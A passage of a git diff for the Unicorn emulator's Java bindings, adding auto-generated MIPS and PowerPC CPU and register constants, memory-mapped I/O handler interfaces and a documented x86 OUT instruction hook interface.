AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface MipsConst { + + // MIPS32 CPUS + + public static final int UC_CPU_MIPS32_4KC = 0; + public static final int UC_CPU_MIPS32_4KM = 1; + public static final int UC_CPU_MIPS32_4KECR1 = 2; + public static final int UC_CPU_MIPS32_4KEMR1 = 3; + public static final int UC_CPU_MIPS32_4KEC = 4; + public static final int UC_CPU_MIPS32_4KEM = 5; + public static final int UC_CPU_MIPS32_24KC = 6; + public static final int UC_CPU_MIPS32_24KEC = 7; + public static final int UC_CPU_MIPS32_24KF = 8; + public static final int UC_CPU_MIPS32_34KF = 9; + public static final int UC_CPU_MIPS32_74KF = 10; + public static final int UC_CPU_MIPS32_M14K = 11; + public static final int UC_CPU_MIPS32_M14KC = 12; + public static final int UC_CPU_MIPS32_P5600 = 13; + public static final int UC_CPU_MIPS32_MIPS32R6_GENERIC = 14; + public static final int UC_CPU_MIPS32_I7200 = 15; + public static final int UC_CPU_MIPS32_ENDING = 16; + + // MIPS64 CPUS + + public static final int UC_CPU_MIPS64_R4000 = 0; + public static final int UC_CPU_MIPS64_VR5432 = 1; + public static final int UC_CPU_MIPS64_5KC = 2; + public static final int UC_CPU_MIPS64_5KF = 3; + public static final int UC_CPU_MIPS64_20KC = 4; + public static final int UC_CPU_MIPS64_MIPS64R2_GENERIC = 5; + public static final int UC_CPU_MIPS64_5KEC = 6; + public static final int UC_CPU_MIPS64_5KEF = 7; + public static final int UC_CPU_MIPS64_I6400 = 8; + public static final int UC_CPU_MIPS64_I6500 = 9; + public static final int UC_CPU_MIPS64_LOONGSON_2E = 10; + public static final int UC_CPU_MIPS64_LOONGSON_2F = 11; + public static final int UC_CPU_MIPS64_MIPS64DSPR2 = 12; + public static final int UC_CPU_MIPS64_ENDING = 13; + + // MIPS registers + + public static final int UC_MIPS_REG_INVALID = 0; + + // General purpose registers + public static final int UC_MIPS_REG_PC = 1; + public static final int UC_MIPS_REG_0 = 2; + public static final int UC_MIPS_REG_1 = 3; + public static final int UC_MIPS_REG_2 = 4; + public static final int UC_MIPS_REG_3 = 5; + public static final int UC_MIPS_REG_4 = 6; + public static final int UC_MIPS_REG_5 = 7; + public static final int UC_MIPS_REG_6 = 8; + public static final int UC_MIPS_REG_7 = 9; + public static final int UC_MIPS_REG_8 = 10; + public static final int UC_MIPS_REG_9 = 11; + public static final int UC_MIPS_REG_10 = 12; + public static final int UC_MIPS_REG_11 = 13; + public static final int UC_MIPS_REG_12 = 14; + public static final int UC_MIPS_REG_13 = 15; + public static final int UC_MIPS_REG_14 = 16; + public static final int UC_MIPS_REG_15 = 17; + public static final int UC_MIPS_REG_16 = 18; + public static final int UC_MIPS_REG_17 = 19; + public static final int UC_MIPS_REG_18 = 20; + public static final int UC_MIPS_REG_19 = 21; + public static final int UC_MIPS_REG_20 = 22; + public static final int UC_MIPS_REG_21 = 23; + public static final int UC_MIPS_REG_22 = 24; + public static final int UC_MIPS_REG_23 = 25; + public static final int UC_MIPS_REG_24 = 26; + public static final int UC_MIPS_REG_25 = 27; + public static final int UC_MIPS_REG_26 = 28; + public static final int UC_MIPS_REG_27 = 29; + public static final int UC_MIPS_REG_28 = 30; + public static final int UC_MIPS_REG_29 = 31; + public static final int UC_MIPS_REG_30 = 32; + public static final int UC_MIPS_REG_31 = 33; + + // DSP registers + public static final int UC_MIPS_REG_DSPCCOND = 34; + public static final int UC_MIPS_REG_DSPCARRY = 35; + public static final int UC_MIPS_REG_DSPEFI = 36; + public static final int UC_MIPS_REG_DSPOUTFLAG = 37; + public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38; + public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39; + public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40; + public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41; + public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42; + public static final int UC_MIPS_REG_DSPPOS = 43; + public static final int UC_MIPS_REG_DSPSCOUNT = 44; + + // ACC registers + public static final int UC_MIPS_REG_AC0 = 45; + public static final int UC_MIPS_REG_AC1 = 46; + public static final int UC_MIPS_REG_AC2 = 47; + public static final int UC_MIPS_REG_AC3 = 48; + + // COP registers + public static final int UC_MIPS_REG_CC0 = 49; + public static final int UC_MIPS_REG_CC1 = 50; + public static final int UC_MIPS_REG_CC2 = 51; + public static final int UC_MIPS_REG_CC3 = 52; + public static final int UC_MIPS_REG_CC4 = 53; + public static final int UC_MIPS_REG_CC5 = 54; + public static final int UC_MIPS_REG_CC6 = 55; + public static final int UC_MIPS_REG_CC7 = 56; + + // FPU registers + public static final int UC_MIPS_REG_F0 = 57; + public static final int UC_MIPS_REG_F1 = 58; + public static final int UC_MIPS_REG_F2 = 59; + public static final int UC_MIPS_REG_F3 = 60; + public static final int UC_MIPS_REG_F4 = 61; + public static final int UC_MIPS_REG_F5 = 62; + public static final int UC_MIPS_REG_F6 = 63; + public static final int UC_MIPS_REG_F7 = 64; + public static final int UC_MIPS_REG_F8 = 65; + public static final int UC_MIPS_REG_F9 = 66; + public static final int UC_MIPS_REG_F10 = 67; + public static final int UC_MIPS_REG_F11 = 68; + public static final int UC_MIPS_REG_F12 = 69; + public static final int UC_MIPS_REG_F13 = 70; + public static final int UC_MIPS_REG_F14 = 71; + public static final int UC_MIPS_REG_F15 = 72; + public static final int UC_MIPS_REG_F16 = 73; + public static final int UC_MIPS_REG_F17 = 74; + public static final int UC_MIPS_REG_F18 = 75; + public static final int UC_MIPS_REG_F19 = 76; + public static final int UC_MIPS_REG_F20 = 77; + public static final int UC_MIPS_REG_F21 = 78; + public static final int UC_MIPS_REG_F22 = 79; + public static final int UC_MIPS_REG_F23 = 80; + public static final int UC_MIPS_REG_F24 = 81; + public static final int UC_MIPS_REG_F25 = 82; + public static final int UC_MIPS_REG_F26 = 83; + public static final int UC_MIPS_REG_F27 = 84; + public static final int UC_MIPS_REG_F28 = 85; + public static final int UC_MIPS_REG_F29 = 86; + public static final int UC_MIPS_REG_F30 = 87; + public static final int UC_MIPS_REG_F31 = 88; + public static final int UC_MIPS_REG_FCC0 = 89; + public static final int UC_MIPS_REG_FCC1 = 90; + public static final int UC_MIPS_REG_FCC2 = 91; + public static final int UC_MIPS_REG_FCC3 = 92; + public static final int UC_MIPS_REG_FCC4 = 93; + public static final int UC_MIPS_REG_FCC5 = 94; + public static final int UC_MIPS_REG_FCC6 = 95; + public static final int UC_MIPS_REG_FCC7 = 96; + + // AFPR128 + public static final int UC_MIPS_REG_W0 = 97; + public static final int UC_MIPS_REG_W1 = 98; + public static final int UC_MIPS_REG_W2 = 99; + public static final int UC_MIPS_REG_W3 = 100; + public static final int UC_MIPS_REG_W4 = 101; + public static final int UC_MIPS_REG_W5 = 102; + public static final int UC_MIPS_REG_W6 = 103; + public static final int UC_MIPS_REG_W7 = 104; + public static final int UC_MIPS_REG_W8 = 105; + public static final int UC_MIPS_REG_W9 = 106; + public static final int UC_MIPS_REG_W10 = 107; + public static final int UC_MIPS_REG_W11 = 108; + public static final int UC_MIPS_REG_W12 = 109; + public static final int UC_MIPS_REG_W13 = 110; + public static final int UC_MIPS_REG_W14 = 111; + public static final int UC_MIPS_REG_W15 = 112; + public static final int UC_MIPS_REG_W16 = 113; + public static final int UC_MIPS_REG_W17 = 114; + public static final int UC_MIPS_REG_W18 = 115; + public static final int UC_MIPS_REG_W19 = 116; + public static final int UC_MIPS_REG_W20 = 117; + public static final int UC_MIPS_REG_W21 = 118; + public static final int UC_MIPS_REG_W22 = 119; + public static final int UC_MIPS_REG_W23 = 120; + public static final int UC_MIPS_REG_W24 = 121; + public static final int UC_MIPS_REG_W25 = 122; + public static final int UC_MIPS_REG_W26 = 123; + public static final int UC_MIPS_REG_W27 = 124; + public static final int UC_MIPS_REG_W28 = 125; + public static final int UC_MIPS_REG_W29 = 126; + public static final int UC_MIPS_REG_W30 = 127; + public static final int UC_MIPS_REG_W31 = 128; + public static final int UC_MIPS_REG_HI = 129; + public static final int UC_MIPS_REG_LO = 130; + public static final int UC_MIPS_REG_P0 = 131; + public static final int UC_MIPS_REG_P1 = 132; + public static final int UC_MIPS_REG_P2 = 133; + public static final int UC_MIPS_REG_MPL0 = 134; + public static final int UC_MIPS_REG_MPL1 = 135; + public static final int UC_MIPS_REG_MPL2 = 136; + public static final int UC_MIPS_REG_CP0_CONFIG3 = 137; + public static final int UC_MIPS_REG_CP0_USERLOCAL = 138; + public static final int UC_MIPS_REG_CP0_STATUS = 139; + public static final int UC_MIPS_REG_ENDING = 140; + public static final int UC_MIPS_REG_ZERO = 2; + public static final int UC_MIPS_REG_AT = 3; + public static final int UC_MIPS_REG_V0 = 4; + public static final int UC_MIPS_REG_V1 = 5; + public static final int UC_MIPS_REG_A0 = 6; + public static final int UC_MIPS_REG_A1 = 7; + public static final int UC_MIPS_REG_A2 = 8; + public static final int UC_MIPS_REG_A3 = 9; + public static final int UC_MIPS_REG_T0 = 10; + public static final int UC_MIPS_REG_T1 = 11; + public static final int UC_MIPS_REG_T2 = 12; + public static final int UC_MIPS_REG_T3 = 13; + public static final int UC_MIPS_REG_T4 = 14; + public static final int UC_MIPS_REG_T5 = 15; + public static final int UC_MIPS_REG_T6 = 16; + public static final int UC_MIPS_REG_T7 = 17; + public static final int UC_MIPS_REG_S0 = 18; + public static final int UC_MIPS_REG_S1 = 19; + public static final int UC_MIPS_REG_S2 = 20; + public static final int UC_MIPS_REG_S3 = 21; + public static final int UC_MIPS_REG_S4 = 22; + public static final int UC_MIPS_REG_S5 = 23; + public static final int UC_MIPS_REG_S6 = 24; + public static final int UC_MIPS_REG_S7 = 25; + public static final int UC_MIPS_REG_T8 = 26; + public static final int UC_MIPS_REG_T9 = 27; + public static final int UC_MIPS_REG_K0 = 28; + public static final int UC_MIPS_REG_K1 = 29; + public static final int UC_MIPS_REG_GP = 30; + public static final int UC_MIPS_REG_SP = 31; + public static final int UC_MIPS_REG_FP = 32; + public static final int UC_MIPS_REG_S8 = 32; + public static final int UC_MIPS_REG_RA = 33; + public static final int UC_MIPS_REG_HI0 = 45; + public static final int UC_MIPS_REG_HI1 = 46; + public static final int UC_MIPS_REG_HI2 = 47; + public static final int UC_MIPS_REG_HI3 = 48; + public static final int UC_MIPS_REG_LO0 = 45; + public static final int UC_MIPS_REG_LO1 = 46; + public static final int UC_MIPS_REG_LO2 = 47; + public static final int UC_MIPS_REG_LO3 = 48; + +} diff --git a/bindings/java/src/main/java/unicorn/MmioReadHandler.java b/bindings/java/src/main/java/unicorn/MmioReadHandler.java new file mode 100644 index 0000000000..adfd42eacd --- /dev/null +++ b/bindings/java/src/main/java/unicorn/MmioReadHandler.java @@ -0,0 +1,37 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Interface for handling reads from memory-mapped I/O, mapped via + * {@link Unicorn#mmio_map} */ +public interface MmioReadHandler { + /** Called when a memory read is made to an address in the mapped range. + * + * @param u {@link Unicorn} instance firing this hook + * @param offset offset of the request address from the start of the + * mapped range + * @param size size of the memory access, in bytes + * @param user user data provided when registering this hook + * @return value of this I/O request + */ + long read(Unicorn u, long offset, int size, Object user); +} diff --git a/bindings/java/src/main/java/unicorn/MmioWriteHandler.java b/bindings/java/src/main/java/unicorn/MmioWriteHandler.java new file mode 100644 index 0000000000..20eb643ce0 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/MmioWriteHandler.java @@ -0,0 +1,37 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +/** Interface for handling writes to memory-mapped I/O, mapped via + * {@link Unicorn#mmio_map} */ +public interface MmioWriteHandler { + /** Called when a memory write is made to an address in the mapped range. + * + * @param u {@link Unicorn} instance firing this hook + * @param offset offset of the request address from the start of the + * mapped range + * @param size size of the memory access, in bytes + * @param value value being written + * @param user user data provided when registering this hook + */ + void write(Unicorn u, long offset, int size, long value, Object user_data); +} diff --git a/bindings/java/unicorn/OutHook.java b/bindings/java/src/main/java/unicorn/OutHook.java similarity index 59% rename from bindings/java/unicorn/OutHook.java rename to bindings/java/src/main/java/unicorn/OutHook.java index 94c050f918..4f9b33bee1 100644 --- a/bindings/java/unicorn/OutHook.java +++ b/bindings/java/src/main/java/unicorn/OutHook.java @@ -21,9 +21,14 @@ package unicorn; -public interface OutHook extends Hook { - - public void hook(Unicorn u, int port, int size, int value, Object user); - +/** Callback for {@code UC_HOOK_INSN} with {@code UC_X86_INS_OUT} */ +public interface OutHook extends InstructionHook { + /** Called to handle an x86 OUT instruction. + * + * @param u {@link Unicorn} instance firing this hook + * @param port I/O port number + * @param size size of the request (1, 2, or 4 bytes) + * @param user user data provided when registering this hook + */ + public void hook(Unicorn u, int port, int size, int value, Object user); } - diff --git a/bindings/java/src/main/java/unicorn/PpcConst.java b/bindings/java/src/main/java/unicorn/PpcConst.java new file mode 100644 index 0000000000..594e165b95 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/PpcConst.java @@ -0,0 +1,410 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface PpcConst { + + // PPC CPU + + public static final int UC_CPU_PPC32_401 = 0; + public static final int UC_CPU_PPC32_401A1 = 1; + public static final int UC_CPU_PPC32_401B2 = 2; + public static final int UC_CPU_PPC32_401C2 = 3; + public static final int UC_CPU_PPC32_401D2 = 4; + public static final int UC_CPU_PPC32_401E2 = 5; + public static final int UC_CPU_PPC32_401F2 = 6; + public static final int UC_CPU_PPC32_401G2 = 7; + public static final int UC_CPU_PPC32_IOP480 = 8; + public static final int UC_CPU_PPC32_COBRA = 9; + public static final int UC_CPU_PPC32_403GA = 10; + public static final int UC_CPU_PPC32_403GB = 11; + public static final int UC_CPU_PPC32_403GC = 12; + public static final int UC_CPU_PPC32_403GCX = 13; + public static final int UC_CPU_PPC32_405D2 = 14; + public static final int UC_CPU_PPC32_405D4 = 15; + public static final int UC_CPU_PPC32_405CRA = 16; + public static final int UC_CPU_PPC32_405CRB = 17; + public static final int UC_CPU_PPC32_405CRC = 18; + public static final int UC_CPU_PPC32_405EP = 19; + public static final int UC_CPU_PPC32_405EZ = 20; + public static final int UC_CPU_PPC32_405GPA = 21; + public static final int UC_CPU_PPC32_405GPB = 22; + public static final int UC_CPU_PPC32_405GPC = 23; + public static final int UC_CPU_PPC32_405GPD = 24; + public static final int UC_CPU_PPC32_405GPR = 25; + public static final int UC_CPU_PPC32_405LP = 26; + public static final int UC_CPU_PPC32_NPE405H = 27; + public static final int UC_CPU_PPC32_NPE405H2 = 28; + public static final int UC_CPU_PPC32_NPE405L = 29; + public static final int UC_CPU_PPC32_NPE4GS3 = 30; + public static final int UC_CPU_PPC32_STB03 = 31; + public static final int UC_CPU_PPC32_STB04 = 32; + public static final int UC_CPU_PPC32_STB25 = 33; + public static final int UC_CPU_PPC32_X2VP4 = 34; + public static final int UC_CPU_PPC32_X2VP20 = 35; + public static final int UC_CPU_PPC32_440_XILINX = 36; + public static final int UC_CPU_PPC32_440_XILINX_W_DFPU = 37; + public static final int UC_CPU_PPC32_440EPA = 38; + public static final int UC_CPU_PPC32_440EPB = 39; + public static final int UC_CPU_PPC32_440EPX = 40; + public static final int UC_CPU_PPC32_460EXB = 41; + public static final int UC_CPU_PPC32_G2 = 42; + public static final int UC_CPU_PPC32_G2H4 = 43; + public static final int UC_CPU_PPC32_G2GP = 44; + public static final int UC_CPU_PPC32_G2LS = 45; + public static final int UC_CPU_PPC32_G2HIP3 = 46; + public static final int UC_CPU_PPC32_G2HIP4 = 47; + public static final int UC_CPU_PPC32_MPC603 = 48; + public static final int UC_CPU_PPC32_G2LE = 49; + public static final int UC_CPU_PPC32_G2LEGP = 50; + public static final int UC_CPU_PPC32_G2LELS = 51; + public static final int UC_CPU_PPC32_G2LEGP1 = 52; + public static final int UC_CPU_PPC32_G2LEGP3 = 53; + public static final int UC_CPU_PPC32_MPC5200_V10 = 54; + public static final int UC_CPU_PPC32_MPC5200_V11 = 55; + public static final int UC_CPU_PPC32_MPC5200_V12 = 56; + public static final int UC_CPU_PPC32_MPC5200B_V20 = 57; + public static final int UC_CPU_PPC32_MPC5200B_V21 = 58; + public static final int UC_CPU_PPC32_E200Z5 = 59; + public static final int UC_CPU_PPC32_E200Z6 = 60; + public static final int UC_CPU_PPC32_E300C1 = 61; + public static final int UC_CPU_PPC32_E300C2 = 62; + public static final int UC_CPU_PPC32_E300C3 = 63; + public static final int UC_CPU_PPC32_E300C4 = 64; + public static final int UC_CPU_PPC32_MPC8343 = 65; + public static final int UC_CPU_PPC32_MPC8343A = 66; + public static final int UC_CPU_PPC32_MPC8343E = 67; + public static final int UC_CPU_PPC32_MPC8343EA = 68; + public static final int UC_CPU_PPC32_MPC8347T = 69; + public static final int UC_CPU_PPC32_MPC8347P = 70; + public static final int UC_CPU_PPC32_MPC8347AT = 71; + public static final int UC_CPU_PPC32_MPC8347AP = 72; + public static final int UC_CPU_PPC32_MPC8347ET = 73; + public static final int UC_CPU_PPC32_MPC8347EP = 74; + public static final int UC_CPU_PPC32_MPC8347EAT = 75; + public static final int UC_CPU_PPC32_MPC8347EAP = 76; + public static final int UC_CPU_PPC32_MPC8349 = 77; + public static final int UC_CPU_PPC32_MPC8349A = 78; + public static final int UC_CPU_PPC32_MPC8349E = 79; + public static final int UC_CPU_PPC32_MPC8349EA = 80; + public static final int UC_CPU_PPC32_MPC8377 = 81; + public static final int UC_CPU_PPC32_MPC8377E = 82; + public static final int UC_CPU_PPC32_MPC8378 = 83; + public static final int UC_CPU_PPC32_MPC8378E = 84; + public static final int UC_CPU_PPC32_MPC8379 = 85; + public static final int UC_CPU_PPC32_MPC8379E = 86; + public static final int UC_CPU_PPC32_E500_V10 = 87; + public static final int UC_CPU_PPC32_E500_V20 = 88; + public static final int UC_CPU_PPC32_E500V2_V10 = 89; + public static final int UC_CPU_PPC32_E500V2_V20 = 90; + public static final int UC_CPU_PPC32_E500V2_V21 = 91; + public static final int UC_CPU_PPC32_E500V2_V22 = 92; + public static final int UC_CPU_PPC32_E500V2_V30 = 93; + public static final int UC_CPU_PPC32_E500MC = 94; + public static final int UC_CPU_PPC32_MPC8533_V10 = 95; + public static final int UC_CPU_PPC32_MPC8533_V11 = 96; + public static final int UC_CPU_PPC32_MPC8533E_V10 = 97; + public static final int UC_CPU_PPC32_MPC8533E_V11 = 98; + public static final int UC_CPU_PPC32_MPC8540_V10 = 99; + public static final int UC_CPU_PPC32_MPC8540_V20 = 100; + public static final int UC_CPU_PPC32_MPC8540_V21 = 101; + public static final int UC_CPU_PPC32_MPC8541_V10 = 102; + public static final int UC_CPU_PPC32_MPC8541_V11 = 103; + public static final int UC_CPU_PPC32_MPC8541E_V10 = 104; + public static final int UC_CPU_PPC32_MPC8541E_V11 = 105; + public static final int UC_CPU_PPC32_MPC8543_V10 = 106; + public static final int UC_CPU_PPC32_MPC8543_V11 = 107; + public static final int UC_CPU_PPC32_MPC8543_V20 = 108; + public static final int UC_CPU_PPC32_MPC8543_V21 = 109; + public static final int UC_CPU_PPC32_MPC8543E_V10 = 110; + public static final int UC_CPU_PPC32_MPC8543E_V11 = 111; + public static final int UC_CPU_PPC32_MPC8543E_V20 = 112; + public static final int UC_CPU_PPC32_MPC8543E_V21 = 113; + public static final int UC_CPU_PPC32_MPC8544_V10 = 114; + public static final int UC_CPU_PPC32_MPC8544_V11 = 115; + public static final int UC_CPU_PPC32_MPC8544E_V10 = 116; + public static final int UC_CPU_PPC32_MPC8544E_V11 = 117; + public static final int UC_CPU_PPC32_MPC8545_V20 = 118; + public static final int UC_CPU_PPC32_MPC8545_V21 = 119; + public static final int UC_CPU_PPC32_MPC8545E_V20 = 120; + public static final int UC_CPU_PPC32_MPC8545E_V21 = 121; + public static final int UC_CPU_PPC32_MPC8547E_V20 = 122; + public static final int UC_CPU_PPC32_MPC8547E_V21 = 123; + public static final int UC_CPU_PPC32_MPC8548_V10 = 124; + public static final int UC_CPU_PPC32_MPC8548_V11 = 125; + public static final int UC_CPU_PPC32_MPC8548_V20 = 126; + public static final int UC_CPU_PPC32_MPC8548_V21 = 127; + public static final int UC_CPU_PPC32_MPC8548E_V10 = 128; + public static final int UC_CPU_PPC32_MPC8548E_V11 = 129; + public static final int UC_CPU_PPC32_MPC8548E_V20 = 130; + public static final int UC_CPU_PPC32_MPC8548E_V21 = 131; + public static final int UC_CPU_PPC32_MPC8555_V10 = 132; + public static final int UC_CPU_PPC32_MPC8555_V11 = 133; + public static final int UC_CPU_PPC32_MPC8555E_V10 = 134; + public static final int UC_CPU_PPC32_MPC8555E_V11 = 135; + public static final int UC_CPU_PPC32_MPC8560_V10 = 136; + public static final int UC_CPU_PPC32_MPC8560_V20 = 137; + public static final int UC_CPU_PPC32_MPC8560_V21 = 138; + public static final int UC_CPU_PPC32_MPC8567 = 139; + public static final int UC_CPU_PPC32_MPC8567E = 140; + public static final int UC_CPU_PPC32_MPC8568 = 141; + public static final int UC_CPU_PPC32_MPC8568E = 142; + public static final int UC_CPU_PPC32_MPC8572 = 143; + public static final int UC_CPU_PPC32_MPC8572E = 144; + public static final int UC_CPU_PPC32_E600 = 145; + public static final int UC_CPU_PPC32_MPC8610 = 146; + public static final int UC_CPU_PPC32_MPC8641 = 147; + public static final int UC_CPU_PPC32_MPC8641D = 148; + public static final int UC_CPU_PPC32_601_V0 = 149; + public static final int UC_CPU_PPC32_601_V1 = 150; + public static final int UC_CPU_PPC32_601_V2 = 151; + public static final int UC_CPU_PPC32_602 = 152; + public static final int UC_CPU_PPC32_603 = 153; + public static final int UC_CPU_PPC32_603E_V1_1 = 154; + public static final int UC_CPU_PPC32_603E_V1_2 = 155; + public static final int UC_CPU_PPC32_603E_V1_3 = 156; + public static final int UC_CPU_PPC32_603E_V1_4 = 157; + public static final int UC_CPU_PPC32_603E_V2_2 = 158; + public static final int UC_CPU_PPC32_603E_V3 = 159; + public static final int UC_CPU_PPC32_603E_V4 = 160; + public static final int UC_CPU_PPC32_603E_V4_1 = 161; + public static final int UC_CPU_PPC32_603E7 = 162; + public static final int UC_CPU_PPC32_603E7T = 163; + public static final int UC_CPU_PPC32_603E7V = 164; + public static final int UC_CPU_PPC32_603E7V1 = 165; + public static final int UC_CPU_PPC32_603E7V2 = 166; + public static final int UC_CPU_PPC32_603P = 167; + public static final int UC_CPU_PPC32_604 = 168; + public static final int UC_CPU_PPC32_604E_V1_0 = 169; + public static final int UC_CPU_PPC32_604E_V2_2 = 170; + public static final int UC_CPU_PPC32_604E_V2_4 = 171; + public static final int UC_CPU_PPC32_604R = 172; + public static final int UC_CPU_PPC32_740_V1_0 = 173; + public static final int UC_CPU_PPC32_750_V1_0 = 174; + public static final int UC_CPU_PPC32_740_V2_0 = 175; + public static final int UC_CPU_PPC32_750_V2_0 = 176; + public static final int UC_CPU_PPC32_740_V2_1 = 177; + public static final int UC_CPU_PPC32_750_V2_1 = 178; + public static final int UC_CPU_PPC32_740_V2_2 = 179; + public static final int UC_CPU_PPC32_750_V2_2 = 180; + public static final int UC_CPU_PPC32_740_V3_0 = 181; + public static final int UC_CPU_PPC32_750_V3_0 = 182; + public static final int UC_CPU_PPC32_740_V3_1 = 183; + public static final int UC_CPU_PPC32_750_V3_1 = 184; + public static final int UC_CPU_PPC32_740E = 185; + public static final int UC_CPU_PPC32_750E = 186; + public static final int UC_CPU_PPC32_740P = 187; + public static final int UC_CPU_PPC32_750P = 188; + public static final int UC_CPU_PPC32_750CL_V1_0 = 189; + public static final int UC_CPU_PPC32_750CL_V2_0 = 190; + public static final int UC_CPU_PPC32_750CX_V1_0 = 191; + public static final int UC_CPU_PPC32_750CX_V2_0 = 192; + public static final int UC_CPU_PPC32_750CX_V2_1 = 193; + public static final int UC_CPU_PPC32_750CX_V2_2 = 194; + public static final int UC_CPU_PPC32_750CXE_V2_1 = 195; + public static final int UC_CPU_PPC32_750CXE_V2_2 = 196; + public static final int UC_CPU_PPC32_750CXE_V2_3 = 197; + public static final int UC_CPU_PPC32_750CXE_V2_4 = 198; + public static final int UC_CPU_PPC32_750CXE_V2_4B = 199; + public static final int UC_CPU_PPC32_750CXE_V3_0 = 200; + public static final int UC_CPU_PPC32_750CXE_V3_1 = 201; + public static final int UC_CPU_PPC32_750CXE_V3_1B = 202; + public static final int UC_CPU_PPC32_750CXR = 203; + public static final int UC_CPU_PPC32_750FL = 204; + public static final int UC_CPU_PPC32_750FX_V1_0 = 205; + public static final int UC_CPU_PPC32_750FX_V2_0 = 206; + public static final int UC_CPU_PPC32_750FX_V2_1 = 207; + public static final int UC_CPU_PPC32_750FX_V2_2 = 208; + public static final int UC_CPU_PPC32_750FX_V2_3 = 209; + public static final int UC_CPU_PPC32_750GL = 210; + public static final int UC_CPU_PPC32_750GX_V1_0 = 211; + public static final int UC_CPU_PPC32_750GX_V1_1 = 212; + public static final int UC_CPU_PPC32_750GX_V1_2 = 213; + public static final int UC_CPU_PPC32_750L_V2_0 = 214; + public static final int UC_CPU_PPC32_750L_V2_1 = 215; + public static final int UC_CPU_PPC32_750L_V2_2 = 216; + public static final int UC_CPU_PPC32_750L_V3_0 = 217; + public static final int UC_CPU_PPC32_750L_V3_2 = 218; + public static final int UC_CPU_PPC32_745_V1_0 = 219; + public static final int UC_CPU_PPC32_755_V1_0 = 220; + public static final int UC_CPU_PPC32_745_V1_1 = 221; + public static final int UC_CPU_PPC32_755_V1_1 = 222; + public static final int UC_CPU_PPC32_745_V2_0 = 223; + public static final int UC_CPU_PPC32_755_V2_0 = 224; + public static final int UC_CPU_PPC32_745_V2_1 = 225; + public static final int UC_CPU_PPC32_755_V2_1 = 226; + public static final int UC_CPU_PPC32_745_V2_2 = 227; + public static final int UC_CPU_PPC32_755_V2_2 = 228; + public static final int UC_CPU_PPC32_745_V2_3 = 229; + public static final int UC_CPU_PPC32_755_V2_3 = 230; + public static final int UC_CPU_PPC32_745_V2_4 = 231; + public static final int UC_CPU_PPC32_755_V2_4 = 232; + public static final int UC_CPU_PPC32_745_V2_5 = 233; + public static final int UC_CPU_PPC32_755_V2_5 = 234; + public static final int UC_CPU_PPC32_745_V2_6 = 235; + public static final int UC_CPU_PPC32_755_V2_6 = 236; + public static final int UC_CPU_PPC32_745_V2_7 = 237; + public static final int UC_CPU_PPC32_755_V2_7 = 238; + public static final int UC_CPU_PPC32_745_V2_8 = 239; + public static final int UC_CPU_PPC32_755_V2_8 = 240; + public static final int UC_CPU_PPC32_7400_V1_0 = 241; + public static final int UC_CPU_PPC32_7400_V1_1 = 242; + public static final int UC_CPU_PPC32_7400_V2_0 = 243; + public static final int UC_CPU_PPC32_7400_V2_1 = 244; + public static final int UC_CPU_PPC32_7400_V2_2 = 245; + public static final int UC_CPU_PPC32_7400_V2_6 = 246; + public static final int UC_CPU_PPC32_7400_V2_7 = 247; + public static final int UC_CPU_PPC32_7400_V2_8 = 248; + public static final int UC_CPU_PPC32_7400_V2_9 = 249; + public static final int UC_CPU_PPC32_7410_V1_0 = 250; + public static final int UC_CPU_PPC32_7410_V1_1 = 251; + public static final int UC_CPU_PPC32_7410_V1_2 = 252; + public static final int UC_CPU_PPC32_7410_V1_3 = 253; + public static final int UC_CPU_PPC32_7410_V1_4 = 254; + public static final int UC_CPU_PPC32_7448_V1_0 = 255; + public static final int UC_CPU_PPC32_7448_V1_1 = 256; + public static final int UC_CPU_PPC32_7448_V2_0 = 257; + public static final int UC_CPU_PPC32_7448_V2_1 = 258; + public static final int UC_CPU_PPC32_7450_V1_0 = 259; + public static final int UC_CPU_PPC32_7450_V1_1 = 260; + public static final int UC_CPU_PPC32_7450_V1_2 = 261; + public static final int UC_CPU_PPC32_7450_V2_0 = 262; + public static final int UC_CPU_PPC32_7450_V2_1 = 263; + public static final int UC_CPU_PPC32_7441_V2_1 = 264; + public static final int UC_CPU_PPC32_7441_V2_3 = 265; + public static final int UC_CPU_PPC32_7451_V2_3 = 266; + public static final int UC_CPU_PPC32_7441_V2_10 = 267; + public static final int UC_CPU_PPC32_7451_V2_10 = 268; + public static final int UC_CPU_PPC32_7445_V1_0 = 269; + public static final int UC_CPU_PPC32_7455_V1_0 = 270; + public static final int UC_CPU_PPC32_7445_V2_1 = 271; + public static final int UC_CPU_PPC32_7455_V2_1 = 272; + public static final int UC_CPU_PPC32_7445_V3_2 = 273; + public static final int UC_CPU_PPC32_7455_V3_2 = 274; + public static final int UC_CPU_PPC32_7445_V3_3 = 275; + public static final int UC_CPU_PPC32_7455_V3_3 = 276; + public static final int UC_CPU_PPC32_7445_V3_4 = 277; + public static final int UC_CPU_PPC32_7455_V3_4 = 278; + public static final int UC_CPU_PPC32_7447_V1_0 = 279; + public static final int UC_CPU_PPC32_7457_V1_0 = 280; + public static final int UC_CPU_PPC32_7447_V1_1 = 281; + public static final int 